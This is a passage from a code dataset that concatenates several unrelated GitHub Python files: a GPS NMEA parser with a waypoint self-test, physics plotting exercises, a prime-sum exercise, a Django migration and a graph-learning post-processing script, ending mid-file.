parseGpsPosition(line, debug=False):\n \"\"\"\n Given a line emitted by a GPS module, \n Parse out the position and return as a \n return: tuple of float (longitude, latitude) as meters.\n If it cannot be parsed or is not a position message, \n then return None.\n \"\"\"\n if not line:\n return None\n line = line.strip()\n if not line:\n return None\n \n #\n # must start with $ and end with checksum\n #\n if '$' != line[0]:\n logger.info(\"NMEA Missing line start\")\n return None\n \n if '*' != line[-3]:\n logger.info(\"NMEA Missing checksum\")\n return None\n \n nmea_checksum = parse_nmea_checksum(line) # ## checksum hex digits as int\n nmea_msg = line[1:-3] # msg without $ and *## checksum\n nmea_parts = nmea_msg.split(\",\")\n message = nmea_parts[0]\n if (message == \"GPRMC\") or (message == \"GNRMC\"): \n # \n # like '$GPRMC,003918.00,A,3806.92281,N,12235.64362,W,0.090,,060322,,,D*67'\n # GPRMC = Recommended minimum specific GPS/Transit data\n #\n # make sure the checksum checks out\n #\n calculated_checksum = calculate_nmea_checksum(line)\n if nmea_checksum != calculated_checksum:\n logger.info(f\"NMEA checksum does not match: {nmea_checksum} != {calculated_checksum}\")\n return None\n\n #\n # parse against a known parser to check our parser\n # TODO: if we hit a lot of corner cases that cause our\n # parser to fail, then switch over to the libarry.\n # Conversely, if our parser works then use it as\n # it is very lightweight.\n #\n if debug:\n try:\n msg = pynmea2.parse(line)\n except pynmea2.ParseError as e:\n logger.error('NMEA parse error detected: {}'.format(e))\n return None\n\n # Reading the GPS fix data is an alternative approach that also works\n if nmea_parts[2] == 'V':\n # V = Warning, most likely, there are no satellites in view...\n logger.info(\"GPS receiver warning; position not valid. Ignore invalid position.\")\n else:\n #\n # Convert the textual nmea position into degrees\n #\n longitude = nmea_to_degrees(nmea_parts[5], nmea_parts[6])\n latitude = nmea_to_degrees(nmea_parts[3], nmea_parts[4])\n\n if debug:\n if msg.longitude != longitude:\n print(f\"Longitude mismatch {msg.longitude} != {longitude}\")\n if msg.latitude != latitude:\n print(f\"Latitude mismatch {msg.latitude} != {latitude}\")\n\n #\n # convert position in degrees to local meters\n #\n utm_position = utm.from_latlon(latitude, longitude)\n if debug:\n logger.info(f\"UTM easting = {utm_position[0]}, UTM northing = {utm_position[1]}\")\n \n # return (longitude, latitude) as float degrees\n return float(utm_position[0]), float(utm_position[1])\n else:\n # Non-position message OR invalid string\n # print(f\"Ignoring line {line}\")\n pass\n return None\n\n\ndef parse_nmea_checksum(nmea_line):\n \"\"\"\n Given the complete nmea line (including starting '$' and ending checksum '*##')\n calculate the checksum from the body of the line.\n NOTE: this does not check for structural correctness, so you\n should check that '$' and '*##' checksum are present before\n calling this function.\n \"\"\"\n return int(nmea_line[-2:], 16) # checksum hex digits as int\n \n \ndef calculate_nmea_checksum(nmea_line):\n \"\"\"\n Given the complete nmea line (including starting '$' and ending checksum '*##')\n calculate the checksum from the body of the line.\n NOTE: this does not check for structural correctness, so you\n should check that '$' and '*##' checksum are present\n and that the checksum matches before calling this function.\n \"\"\"\n # \n # xor all characters in the message to get a one byte checksum.\n # don't include starting '$' or trailing checksum '*##'\n #\n return reduce(operator.xor, map(ord, nmea_line[1:-3]), 0)\n\n\ndef nmea_to_degrees(gps_str, direction):\n \"\"\"\n Convert a gps coordinate string formatted as:\n DDDMM.MMMMM, where DDD denotes the degrees (which may have zero to 3 digits)\n and MM.MMMMM denotes the minutes\n to a float in degrees.\n \"\"\"\n if not gps_str or gps_str == \"0\":\n return 0\n \n #\n # pull out the degrees and minutes\n # and then combine the minutes\n #\n parts = gps_str.split(\".\")\n degrees_str = parts[0][:-2] # results in zero to 3 digits\n minutes_str = parts[0][-2:] # always results in 2 digits\n if 2 == len(parts):\n minutes_str += \".\" + parts[1] # combine whole and fractional minutes\n \n #\n # convert degrees to a float\n #\n degrees = 0.0\n if len(degrees_str) > 0:\n degrees = float(degrees_str)\n \n #\n # convert minutes a float in degrees\n #\n minutes = 0.0\n if len(minutes_str) > 0:\n minutes = float(minutes_str) / 60\n \n #\n # sum up the degrees and apply the direction as a sign\n #\n return (degrees + minutes) * (-1 if direction in ['W', 'S'] else 1)\n \n\n#\n# The __main__ self test can log position or optionally record a set of waypoints\n#\nif __name__ == \"__main__\":\n import math\n import numpy as np\n import matplotlib.pyplot as plt\n from matplotlib.patches import Ellipse\n import sys\n import readchar\n from donkeycar.parts.serial_port import SerialPort, SerialLineReader\n\n\n def stats(data):\n \"\"\"\n Calculate (min, max, mean, std_deviation) of a list of floats\n \"\"\"\n if not data:\n return None\n count = len(data)\n min = None\n max = None\n sum = 0\n for x in data:\n if min is None or x < min:\n min = x\n if max is None or x > max:\n max = x\n sum += x\n mean = sum / count\n sum_errors_squared = 0\n for x in data:\n error = x - mean\n sum_errors_squared += (error * error)\n std_deviation = math.sqrt(sum_errors_squared / count)\n return Stats(count, sum, min, max, mean, std_deviation)\n\n class Stats:\n \"\"\"\n Statistics for a set of data\n \"\"\"\n def __init__(self, count, sum, min, max, mean, std_deviation):\n self.count = count\n self.sum = sum\n self.min = min\n self.max = max\n self.mean = mean\n self.std_deviation = std_deviation\n\n class Waypoint:\n \"\"\"\n A waypoint created from multiple samples,\n modelled as a non-axis-aligned (rotated) ellipsoid.\n This models a waypoint based on a jittery source,\n like GPS, where x and y values may not be completely\n independent values.\n \"\"\"\n def __init__(self, samples, nstd = 1.0):\n \"\"\"\n Fit an ellipsoid to the given samples at the\n given multiple of the standard deviation of the samples.\n \"\"\"\n \n # separate out the points by axis\n self.x = [w[1] for w in samples]\n self.y = [w[2] for w in samples]\n \n # calculate the stats for each axis\n self.x_stats = stats(self.x)\n self.y_stats = stats(self.y)\n\n #\n # calculate a rotated ellipse that best fits the samples.\n # We use a rotated ellipse because the x and y values \n # of each point are not independent. \n # \n def eigsorted(cov):\n \"\"\"\n Calculate eigenvalues and eigenvectors\n and return them sorted by eigenvalue.\n \"\"\"\n eigenvalues, eigenvectors = np.linalg.eigh(cov)\n order = eigenvalues.argsort()[::-1]\n return eigenvalues[order], eigenvectors[:, order]\n\n # calculate covariance matrix between x and y values\n self.cov = np.cov(self.x, self.y)\n\n # get eigenvalues and vectors from covariance matrix\n self.eigenvalues, self.eigenvectors = eigsorted(self.cov)\n\n # calculate the ellipsoid at the given multiple of the standard deviation.\n self.theta = np.degrees(np.arctan2(*self.eigenvectors[:, 0][::-1]))\n self.width, self.height = 2 * nstd * np.sqrt(self.eigenvalues)\n\n def is_inside(self, x, y):\n \"\"\"\n Determine if the given (x,y) point is within the waypoint's\n fitted ellipsoid\n \"\"\"\n # if (x >= self.x_stats.min) and (x <= self.x_stats.max):\n # if (y >= self.y_stats.min) and (y <= self.y_stats.max):\n # return True\n # return False\n # if (x >= (self.x_stats.mean - self.x_stats.std_deviation)) and (x <= (self.x_stats.mean + self.x_stats.std_deviation)):\n # if (y >= (self.y_stats.mean - self.y_stats.std_deviation)) and (y <= (self.y_stats.mean + self.y_stats.std_deviation)):\n # return True\n # return False\n cos_theta = math.cos(self.theta)\n sin_theta = math.sin(self.theta)\n x_translated = x - self.x_stats.mean\n y_translated = y - self.y_stats.mean\n #\n # basically translate the test point into the\n # coordinate system of the ellipse (it's center)\n # and then rotate the point and do a normal ellipse test\n #\n part1 = ((cos_theta * x_translated + sin_theta * y_translated) / self.width)**2\n part2 = ((sin_theta * x_translated - cos_theta * y_translated) / self.height)**2\n return (part1 + part2) <= 1\n\n def is_in_range(self, x, y):\n \"\"\"\n Determine if the given (x,y) point is within the\n range of the collected waypoint samples\n \"\"\"\n return (x >= self.x_stats.min) and \\\n (x <= self.x_stats.max) and \\\n (y >= self.y_stats.min) and \\\n (y <= self.y_stats.max)\n \n def is_in_std(self, x, y, std_multiple=1.0):\n \"\"\"\n Determine if the given (x, y) point is within a given\n multiple of the standard deviation of the samples\n on each axis.\n \"\"\"\n x_std = self.x_stats.std_deviation * std_multiple\n y_std = self.y_stats.std_deviation * std_multiple\n return (x >= (self.x_stats.mean - x_std)) and \\\n (x <= (self.x_stats.mean + x_std)) and \\\n (y >= (self.y_stats.mean - y_std)) and \\\n (y <= (self.y_stats.mean + y_std))\n\n def show(self):\n \"\"\"\n Draw the waypoint ellipsoid\n \"\"\"\n from matplotlib.patches import Ellipse\n import matplotlib.pyplot as plt\n ax = plt.subplot(111, aspect='equal')\n self.plot()\n plt.show()\n \n def plot(self):\n \"\"\"\n Draw the waypoint ellipsoid\n \"\"\"\n from matplotlib.patches import Ellipse, Rectangle\n import matplotlib.pyplot as plt\n #define Matplotlib figure and axis\n ax = plt.subplot(111, aspect='equal')\n \n # plot the collected readings\n plt.scatter(self.x, self.y)\n \n # plot the centroid\n plt.plot(self.x_stats.mean, self.y_stats.mean, marker=\"+\", markeredgecolor=\"green\", markerfacecolor=\"green\")\n \n # plot the range\n bounds = Rectangle(\n (self.x_stats.min, self.y_stats.min), \n self.x_stats.max - self.x_stats.min, \n self.y_stats.max - self.y_stats.min,\n alpha=0.5,\n edgecolor='red',\n fill=False,\n visible=True)\n ax.add_artist(bounds)\n\n # plot the ellipsoid \n ellipse = Ellipse(xy=(self.x_stats.mean, self.y_stats.mean),\n width=self.width, height=self.height,\n angle=self.theta)\n ellipse.set_alpha(0.25)\n ellipse.set_facecolor('green')\n ax.add_artist(ellipse)\n\n def is_in_waypoint_range(waypoints, x, y):\n i = 0\n for waypoint in waypoints:\n if waypoint.is_in_range(x, y):\n return True, i\n i += 1\n return False, -1\n\n def is_in_waypoint_std(waypoints, x, y, std):\n i = 0\n for waypoint in waypoints:\n if waypoint.is_in_std(x, y, std):\n return True, i\n i += 1\n return False, -1\n\n def is_in_waypoint(waypoints, x, y):\n i = 0\n for waypoint in waypoints:\n if waypoint.is_inside(x, y):\n return True, i\n i += 1\n return False, -1\n\n\n def plot(waypoints):\n \"\"\"\n Draw the waypoint ellipsoid\n \"\"\"\n from matplotlib.patches import Ellipse\n import matplotlib.pyplot as plt\n ax = plt.subplot(111, aspect='equal')\n for waypoint in waypoints:\n waypoint.plot()\n plt.show()\n\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"-s\", \"--serial\", type=str, required=True, help=\"Serial port address, like '/dev/tty.usbmodem1411'\")\n parser.add_argument(\"-b\", \"--baudrate\", type=int, default=9600, help=\"Serial port baud rate.\")\n parser.add_argument(\"-t\", \"--timeout\", type=float, default=0.5, help=\"Serial port timeout in seconds.\")\n parser.add_argument(\"-sp\", '--samples', type=int, default = 5, help = \"Number of samples per waypoint.\")\n parser.add_argument(\"-wp\", \"--waypoints\", type=int, default = 0, help = \"Number of waypoints to collect; > 0 to collect waypoints, 0 to just log position\")\n parser.add_argument(\"-nstd\", \"--nstd\", type=float, default=1.0, help=\"multiple of standard deviation for ellipse.\")\n parser.add_argument(\"-th\", \"--threaded\", action='store_true', help = \"run in threaded mode.\")\n parser.add_argument(\"-db\", \"--debug\", action='store_true', help = \"Enable extra logging\")\n args = parser.parse_args()\n\n if args.waypoints < 0:\n print(\"Use waypoints > 0 to collect waypoints, use 0 waypoints to just log position\")\n parser.print_help()\n sys.exit(0)\n\n if args.samples <= 0:\n print(\"Samples per waypoint must be greater than zero\")\n parser.print_help()\n sys.exit(0)\n\n if args.nstd <= 0:\n print(\"Waypoint multiplier must be greater than zero\")\n parser.print_help()\n sys.exit(0)\n\n if args.timeout <= 0:\n print(\"Timeout must be greater than zero\")\n parser.print_help()\n sys.exit(0)\n\n update_thread = None\n line_reader = None\n\n waypoint_count = args.waypoints # number of paypoints in the path\n samples_per_waypoint = args.samples # number of readings per waypoint\n waypoints = []\n waypoint_samples = []\n\n try:\n serial_port = SerialPort(args.serial, baudrate=args.baudrate, timeout=args.timeout)\n line_reader = SerialLineReader(serial_port, max_lines=args.samples, debug=args.debug)\n position_reader = GpsNmeaPositions(args.debug)\n\n #\n # start the threaded part\n # and a threaded window to show plot\n #\n if args.threaded:\n update_thread = threading.Thread(target=line_reader.update, args=())\n update_thread.start()\n\n def read_gps():\n lines = line_reader.run_threaded() if args.threaded else line_reader.run()\n positions = position_reader.run(lines)\n return positions\n\n ts = time.time()\n state = \"prompt\" if waypoint_count > 0 else \"\"\n while line_reader.running:\n readings = read_gps()\n if readings:\n print(\"\")\n if state == \"prompt\":\n print(f\"Move to waypoint #{len(waypoints)+1} and press the space bar and enter to start sampling or any other key to just start logging.\")\n state = \"move\"\n elif state == \"move\":\n key_press = readchar.readchar() # sys.stdin.read(1)\n if key_press == ' ':\n waypoint_samples = []\n line_reader.clear() # throw away buffered readings\n state = \"sampling\"\n else:\n state = \"\" # just start logging\n elif state == \"sampling\":\n waypoint_samples += readings\n count = len(waypoint_samples)\n print(f\"Collected {count} so far...\")\n if count > samples_per_waypoint:\n print(f\"...done. Collected {count} samples for waypoint #{len(waypoints)+1}\")\n #\n # model a waypoint as a rotated ellipsoid\n # that represents a 95% confidence interval \n # around the points measured at the waypoint.\n #\n waypoint = Waypoint(waypoint_samples, nstd=args.nstd)\n waypoints.append(waypoint)\n if len(waypoints) < waypoint_count:\n state = \"prompt\"\n else:\n state = \"test_prompt\"\n if args.debug:\n plot(waypoints)\n elif state == \"test_prompt\":\n print(\"Waypoints are recorded. Now walk around and see when you are in a waypoint.\")\n state = \"test\"\n elif state == \"test\":\n for ts, x, y in readings:\n print(f\"Your position is ({x}, {y})\")\n hit, index = is_in_waypoint_range(waypoints, x, y)\n if hit:\n print(f\"You are within the sample range of waypoint #{index + 1}\")\n std_deviation = 1.0\n hit, index = is_in_waypoint_std(waypoints, x, y, std_deviation)\n if hit:\n print(f\"You are within {std_deviation} standard deviations of the center of waypoint #{index + 1}\")\n hit, index = is_in_waypoint(waypoints, x, y)\n if hit:\n print(f\"You are at waypoint's ellipse #{index + 1}\")\n else:\n # just log the readings\n for position in readings:\n ts, x, y = position\n print(f\"You are at ({x}, {y})\")\n else:\n if time.time() > (ts + 0.5):\n print(\".\", end=\"\")\n ts = time.time()\n finally:\n if line_reader:\n line_reader.shutdown()\n if update_thread is not None:\n update_thread.join() # wait for thread to end\n\n","repo_name":"autorope/donkeycar","sub_path":"donkeycar/parts/gps.py","file_name":"gps.py","file_ext":"py","file_size_in_byte":25121,"program_lang":"python","lang":"en","doc_type":"code","stars":2890,"dataset":"github-code","pt":"69"} +{"seq_id":"73744409820","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 21 21:43:59 2017\n\n@author: Cano\n\"\"\"\n\n# -- coding: utf-8 --\nimport numpy as np\nimport matplotlib.pyplot as plt\nfigureNumber = 1 #Se llevará el conteo de las gráficas\n######################################################\n#Problema #1, clase 15/08/2017\nt = 0 #Tiempo inicial\ndt = 0.001 #El intervalo de tiempo\nti = [t] #Arreglo para guardar cada instante de tiempo\nx = 0 #posición en x inicial\ny = 200 #posición en y inicial\nxi = [x] #Arreglo donde se guarda cada posición en x\nyi = [y] #Arreglo donde se guarda cada posición en y\nwhile(y >= 0 ):\n t = t + dt\n x = 2598*(1-np.exp(-0.01*t))\n y = 99700 - 99500*np.exp(-0.01*t) - 980*t\n ti.append(t)\n xi.append(x)\n yi.append(y)\nplt.figure(figureNumber)\nplt.plot(xi, yi, '-b')\nfigureNumber = figureNumber + 1\nprint(\"Punto 4\")\n#Fin ejercicio 1\n######################################################\n\n\n#########################\n#########################\n\n#Rosa de 8 petalos.\nangle = 0\nr = 2*(np.cos(np.radians(angle))**4 - 6*np.cos(np.radians(angle))**2 * np.sin(np.radians(angle))**2 + np.sin(np.radians(angle))**4)\nvali = [r + 0.5]\nanglei = [np.radians(angle)]\nwhile( angle <= 360):\n angle += 0.02\n r = 2*(np.cos(np.radians(angle))**4 - 6*np.cos(np.radians(angle))**2 * np.sin(np.radians(angle))**2 + np.sin(np.radians(angle))**4)\n \n if( r <= 0):\n r = -2*(np.cos(np.radians(angle))**4 - 6*np.cos(np.radians(angle))**2 * np.sin(np.radians(angle))**2 + np.sin(np.radians(angle))**4)\n \n vali.append(r + 0.5)\n anglei.append(np.radians(angle))\nplt.figure(figureNumber)\nfigureNumber += 1\nplt.polar(anglei, vali)\n#########################\n#circulo rectangular\nangle = 0\nr = 1\nvali = [r]\nanglei = [np.radians(angle)]\ncont = 0\nwhile( angle <= 360):\n angle += 2.5 \n if(cont <= 5):\n r = 1.5\n cont += 1\n elif(cont <= 10):\n r = 1\n cont += 1\n else:\n cont = 0\n vali.append(r)\n anglei.append(np.radians(angle))\nplt.figure(figureNumber)\nfigureNumber += 1 \nplt.polar(anglei, vali)\n#######################\n######################\n#Función Seno\nperiodo = 0.5\n\nx = np.linspace(0, 2, 1000)*2\n\ny = np.sin((2*np.pi*x/periodo)+1.5)-1\n\nplt.figure(figureNumber)\nfigureNumber += 1\n\nplt.plot(-x, -y, 'k', linewidth = 1, label = 'y1')\n\nplt.show()\n#################################\n###############################\n#Punto 1\n\n#Lista de coeficientes de fricción:\nt = 0\ndt = 0.0001\nti = [t]\nh0 = 100\ny = h0\nyi = [y]\n#Aquí se puede cambiar el valor actual de la masa y la friccion\n#masa = int(input(\"Ingrese la masa:\\n\"))\n#friccion = float(input(\"Ingrese la friccion:\\n\"))\nmasa = 100\nfriccion = 5\ngravedad = 9.8\nwhile( y >= 0 ):\n t = t + dt\n y = h0 + ((masa**2)/friccion**2) * gravedad - ((masa**2)/friccion**2) * gravedad * np.exp((-friccion/masa)* t) - ((masa*gravedad)/friccion) * t\n ti.append(t)\n yi.append(y)\nprint(\"Punto 1 con fricción:\") \nplt.figure(figureNumber)\nfigureNumber += 1\nplt.plot(ti, yi, '-b')\n#Sin fricción.\nprint(\"Punto 1 sin fricción:\")\nt = 0\ndt = 0.001\nh0 = 100\ny = h0\nti = [t]\nyi = [y]\nmasa = 100\ngravedad = 9.8\nwhile( y >= 0):\n t = t + dt\n y = h0 - (masa*gravedad)*t/2\n yi.append(y)\n ti.append(t)\n\nplt.figure(figureNumber)\nfigureNumber += 1\nplt.plot(ti, yi, '-b')\n\n\n\n","repo_name":"canoaf98/Modelamiento","sub_path":"Taller 1.py","file_name":"Taller 1.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12806553791","text":"number = input()\nnon_prime_sum = 0\nprime_sum = 0\nwhile number != \"stop\":\n if int(number) > 1:\n for i in range(2, int(number)):\n if int(number) % i == 0:\n prime_sum += int(number)\n break\n else:\n non_prime_sum += int(number)\n elif int(number) < 0:\n print(\"Number is negative.\")\n number = input()\nprint(f\"Sum of all prime numbers is: {non_prime_sum}\")\nprint(f\"Sum of all non prime numbers is: {prime_sum}\")\n","repo_name":"M0673N/Programming-Basics-with-Python","sub_path":"06_nested_loops/exercise/03_sum_prime_non_prime.py","file_name":"03_sum_prime_non_prime.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"71752341339","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('banners', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='banner',\n options={'ordering': ('-active', '-pk'), 'verbose_name': 'Banner', 'verbose_name_plural': 'Banners'},\n ),\n ]\n","repo_name":"GISAElkartea/kiroletik","sub_path":"banners/migrations/0002_auto_20141202_2017.py","file_name":"0002_auto_20141202_2017.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17058615198","text":"import argparse\nimport glob\nimport os\n\nimport numpy as np\nimport torch\nfrom ogb.nodeproppred import DglNodePropPredDataset\nfrom tqdm import tqdm\n\nfrom dataset import load_dataset\nfrom models import CorrectAndSmooth\nimport gc\nimport pickle\nimport pandas as pd\nimport time\n\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n\ndef load_output_files(output_path):\n outputs = glob.glob(output_path)\n print(f\"Detect {len(outputs)} model output files\")\n assert len(outputs) > 0\n probs_list = []\n for out in outputs:\n # probs = torch.zeros(size=(n_nodes, n_classes), device=\"cpu\")\n # probs[tr_va_te_nid] = torch.load(out, map_location=\"cpu\")\n probs = torch.load(out, map_location=\"cpu\")\n probs_list.append(probs)\n # mx_diff = (out_probs[-1].sum(dim=-1) - 1).abs().max()\n # if mx_diff > 1e-1:\n # print(f'Max difference: {mx_diff}')\n # print(\"model output doesn't seem to sum to 1. Did you remember to exp() if your model outputs log_softmax()?\")\n # raise Exception\n return probs_list\n\n\ndef generate_preds_path(args):\n path = os.path.join(args.probs_dir, args.dataset,\n args.model if (args.weight_style == \"attention\")\n else (args.model + \"_\" + args.weight_style),\n f\"use_labels_{args.use_labels}_use_feats_{not args.avoid_features}\" +\n f\"_K_{args.K}_label_K_{args.label_K}_probs_seed_*_stage_{args.stage}.pt\")\n return path\n\n\ndef calculate_metrics(probs_list, labels, train_nid, val_nid, test_nid, evaluator, args, save_res=False):\n train_results = []\n val_results = []\n test_results = []\n test_nid_raw = test_nid.clone()\n inner_train_nid = torch.arange(len(train_nid))\n inner_val_nid = torch.arange(len(train_nid), len(train_nid)+len(val_nid))\n inner_test_nid = torch.arange(len(train_nid)+len(val_nid), len(train_nid)+len(val_nid)+len(test_nid))\n for probs in probs_list:\n if args.dataset in [\"ppi\", \"yelp\"]:\n preds = (probs > 0).float()\n else:\n preds = torch.argmax(probs, dim=-1)\n if evaluator != None:\n train_res = evaluator(preds[inner_train_nid], labels[train_nid])\n val_res = evaluator(preds[inner_val_nid], labels[val_nid])\n test_res = evaluator(preds[inner_test_nid], labels[test_nid])\n else:\n train_res = (preds[:len(train_nid)] == labels[train_nid]).sum().item() / len(train_nid)\n val_res = (preds[len(train_nid):(len(train_nid)+len(val_nid))] == labels[val_nid]).sum().item() / len(val_nid)\n test_res = 0.\n train_results.append(train_res)\n val_results.append(val_res)\n test_results.append(test_res)\n print(f\"Train score: {np.mean(train_results):.4f}±{np.std(train_results):.4f}\\n\"\n f\"Valid score: {np.mean(val_results):.4f}±{np.std(val_results):.4f}\\n\"\n f\"Test score: {np.mean(test_results):.4f}±{np.std(test_results):.4f}\")\n\n if args.dataset == 'maxp' and save_res:\n with open(os.path.join('../../dataset/test_id_dict.pkl'), 'rb') as f:\n test_id_dict = pickle.load(f)\n submit = pd.read_csv('../../dataset/sample_submission_for_validation.csv')\n with open(os.path.join('../../dataset/csv_idx_map.pkl'), 'rb') as f:\n idx_map = pickle.load(f)\n preds = torch.argmax(probs, dim=-1)\n test_seeds_list = test_nid_raw\n test_pred_list = preds[inner_test_nid]\n\n # save results\n for i, id in tqdm(enumerate(test_seeds_list)):\n paper_id = test_id_dict[id.item()]\n label = chr(int(test_pred_list[i].item() + 65))\n\n # csv_index = submit[submit['id'] == paper_id].index.tolist()[0]\n if paper_id in idx_map:\n csv_index = idx_map[paper_id]\n submit['label'][csv_index] = label\n\n if not os.path.exists('../../outputs'):\n os.makedirs('../../outputs', exist_ok=True)\n submit.to_csv(os.path.join('../../outputs/', f'submit_sagn_{time.strftime(\"%Y-%m-%d\", time.localtime())}.csv'), index=False)\n\n print(\"Done!\", flush=True)\n\n return\n\n\ndef main(args):\n device = torch.device(\"cpu\" if args.gpu < 0 else f\"cuda:{args.gpu}\")\n data = load_dataset(device, args)\n g, labels, n_classes, train_nid, val_nid, test_nid, evaluator = data\n g.ndata.pop(\"feat\")\n gc.collect()\n if device.type == \"cuda\":\n with torch.cuda.device(device):\n torch.cuda.empty_cache()\n labels = labels.to(device)\n tr_va_te_nid = torch.cat([train_nid, val_nid, test_nid], dim=0)\n preds_path = generate_preds_path(args)\n print(preds_path)\n probs_list = load_output_files(preds_path)\n print(\"-\"*10 + \" Before \" + \"-\"*10)\n calculate_metrics(probs_list, labels, train_nid, val_nid, test_nid, evaluator, args)\n\n # cs = CorrectAndSmooth(args.num_correction_layers, args.correction_alpha, args.correction_adj,\n # args.num_smoothing_layers, args.smoothing_alpha, args.smoothing_adj,\n # autoscale=args.autoscale, scale=args.scale)\n cs = CorrectAndSmooth(num_correction_layers=args.num_correction_layers,\n correction_alpha=args.correction_alpha,\n correction_adj=args.correction_adj,\n num_smoothing_layers=args.num_smoothing_layers,\n smoothing_alpha=args.smoothing_alpha,\n smoothing_adj=args.smoothing_adj,\n autoscale=args.autoscale,\n scale=args.scale)\n processed_preds_list = []\n # inner_train_nid = torch.arange(len(train_nid))\n # inner_val_nid = torch.arange(len(train_nid), len(train_nid)+len(val_nid))\n # inner_test_nid = torch.arange(len(train_nid)+len(val_nid), len(train_nid)+len(val_nid)+len(test_nid))\n for i, probs in enumerate(probs_list):\n print(f\"Processing run: {i}\")\n x_all = torch.zeros((labels.shape[0], probs.shape[1]))\n x_all[tr_va_te_nid] = probs\n x_all = x_all.to(device)\n # mask_idx = train_nid.to(device)\n mask_idx = torch.cat([train_nid, val_nid]).to(device)\n\n y_soft_gat = torch.load('../../dataset/y_soft.pt', map_location='cpu')\n y_soft_sage = torch.load('../../dataset/y_soft_sage.pt', map_location='cpu')\n\n y_soft = x_all * 0.6 + y_soft_gat * 0.2 + y_soft_sage * 0.4\n y_soft = y_soft.softmax(dim=-1)\n y_soft = cs.correct(g, y_soft, labels[mask_idx], mask_idx)\n y_soft = cs.smooth(g, y_soft, labels[mask_idx], mask_idx)\n y_pred = y_soft.argmax(dim=-1)\n val_acc = torch.sum(y_pred[val_nid] == labels[val_nid]) / torch.tensor(labels[val_nid].shape[0])\n # processed_preds_list.append(cs(g, probs, labels[train_nid], args.operations, inner_train_nid, inner_val_nid, inner_test_nid, probs.size(0)))\n print(\"-\"*10 + \" Correct & Smooth \" + \"-\"*10)\n # calculate_metrics(processed_preds_list, labels, train_nid, val_nid, test_nid, evaluator, args, save_res=True)\n print(\"val acc:\", val_acc)\n\n with open(os.path.join('../../dataset/test_id_dict.pkl'), 'rb') as f:\n test_id_dict = pickle.load(f)\n submit = pd.read_csv('../../dataset/sample_submission_for_validation.csv')\n with open(os.path.join('../../dataset/csv_idx_map.pkl'), 'rb') as f:\n idx_map = pickle.load(f)\n test_pred_list = y_pred[test_nid]\n\n # save results\n for i, id in tqdm(enumerate(test_nid)):\n paper_id = test_id_dict[id.item()]\n label = chr(int(test_pred_list[i].item() + 65))\n\n # csv_index = submit[submit['id'] == paper_id].index.tolist()[0]\n if paper_id in idx_map:\n csv_index = idx_map[paper_id]\n submit['label'][csv_index] = label\n\n if not os.path.exists('../../outputs'):\n os.makedirs('../../outputs', exist_ok=True)\n submit.to_csv(os.path.join('../../outputs/', f'submit_sagn_{time.strftime(\"%Y-%m-%d\", time.localtime())}.csv'), index=False)\n\n print(\"Done!\", flush=True)\n\n\ndef define_parser():\n parser = argparse.ArgumentParser(description=\"hyperparameters for Correct&Smooth postprocessing\")\n parser.add_argument(\"--gpu\", type=int, default=-1,\n help=\"Select which GPU device to process (-1 for CPU)\")\n parser.add_argument(\"--dataset\", type=str, default=\"maxp\",\n help=\"Dataset name\")\n parser.add_argument(\"--data-dir\", type=str, default=\"../dataset\",\n help=\"Root directory for datasets\")\n parser.add_argument(\"--probs_dir\", type=str, default=\"../intermediate_outputs\",\n help=\"Directory of trained model output\")\n parser.add_argument(\"--model\", type=str, default=\"sagn\",\n help=\"Model name\")\n parser.add_argument(\"--weight_style\", type=str, default=\"attention\",\n help=\"Weight style for SAGN and PlainSAGN\")\n parser.add_argument(\"--K\", type=int, default=5,\n help=\"Maximum hop for feature propagation\")\n parser.add_argument(\"--label-K\", type=int, default=9,\n help=\"Maximum hop for label propagation (in SLE)\")\n parser.add_argument(\"--stage\", type=int, default=2,\n help=\"Which stage in SLE to postprocess\")\n parser.add_argument(\"--use-labels\", action=\"store_true\",\n help=\"Whether to enhance base model with a label model\")\n parser.add_argument(\"--avoid-features\", action=\"store_true\",\n help=\"Whether to ignore node features (only useful when using labels)\")\n parser.add_argument(\"--num-correction-layers\", type=int, default=50,\n help=\"Propagation number for Correction operation\")\n parser.add_argument(\"--num-smoothing-layers\", type=int, default=50,\n help=\"Propagation number for Smoothing operation\")\n parser.add_argument(\"--correction-alpha\", type=float, default=0.95,\n help=\"Alpha value for Correction operation\")\n parser.add_argument(\"--smoothing-alpha\", type=float, default=0.75,\n help=\"Alpha value for Smoothing operation\")\n parser.add_argument(\"--correction-adj\", type=str, default=\"DAD\", choices=[\"DA\", \"AD\", \"DAD\"],\n help=\"Adjacency matrix for Correction operation\")\n parser.add_argument(\"--smoothing-adj\", type=str, default=\"DAD\", choices=[\"DA\", \"AD\", \"DAD\"],\n help=\"Adjacency matrix for Smoothing operation\")\n parser.add_argument(\"--scale\", type=float, default=1.5,\n help=\"Fixed scale for Correction operation (only useful when autoscale=False\")\n parser.add_argument(\"--autoscale\", action=\"store_true\",\n help=\"Whether to use autoscale in Correction operation\")\n parser.add_argument(\"--operations\", type=str, nargs=\"+\", default=[\"correction\", \"smoothing\"],\n help=\"Select operations needed\")\n return parser\n\n\nif __name__ == \"__main__\":\n parser = define_parser()\n args = parser.parse_args()\n print(args)\n main(args)\n","repo_name":"ytchx1999/MAXP_DGL_Graph","sub_path":"SAGN_with_SLE/src/post_process.py","file_name":"post_process.py","file_ext":"py","file_size_in_byte":11165,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"69"} +{"seq_id":"37843414114","text":"\"\"\"\nFavorite Place Module\n\"\"\"\nimport os\nimport requests\nfrom dotenv import find_dotenv, load_dotenv\nfrom recommendation import get_url\n\n\ndef favorite_details(place_id):\n \"\"\"\n Get name, Maps URL, photo, and rating of user's favorite place\n \"\"\"\n load_dotenv(find_dotenv())\n details = {}\n key = os.getenv(\"GOOGLE_KEY\")\n details[\"url\"] = get_url(place_id=place_id)\n base_url = 